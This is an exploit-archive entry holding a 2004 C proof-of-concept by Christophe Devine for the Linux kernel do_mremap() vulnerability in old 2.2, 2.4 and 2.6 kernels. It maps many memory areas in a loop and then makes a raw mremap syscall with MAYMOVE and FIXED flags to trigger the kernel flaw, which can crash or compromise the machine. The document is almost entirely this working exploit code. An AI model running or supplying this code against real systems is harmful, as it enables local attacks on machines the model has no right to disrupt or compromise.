Linux Kernel <= 2.2.25, <= 2.4.24, <= 2.6.2 - "mremap()" Local Proof-of-Concept (2)

/* * Proof-of-concept exploit code for do_mremap() #2 * * Copyright (C) 2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include &#60;asm/unistd.h&#62; #include &#60;sys/mman.h&#62; #include &#60;unistd.h&#62; #include &#60;stdio.h&#62; #include &#60;errno.h&#62; #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED #define __NR_real_mremap __NR_mremap static inline _syscall5( void *, real_mremap, void *, old_address, size_t, old_size, size_t, new_size, unsigned long, flags, void *, new_address ); #define VMA_SIZE 0x00003000 int main( void ) { int i, ret; void *base0; void *base1; i = 0; while( 1 ) { i++; ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ), VMA_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); if( ret == -1 ) { perror( &#34;mmap&#34; ); break; } base0 = base1; base1 = (void *) ret; } printf( &#34;created ~%d VMAs\n&#34;, i ); base0 += 0x1000; base1 += 0x1000; printf( &#34;now mremapping 0x%08X at 0x%08X\n&#34;, (int) base1, (int) base0 ); real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 ); printf( &#34;kernel may not be vulnerable\n&#34; ); return( 0 ); } // milw0rm.com [2004-02-18]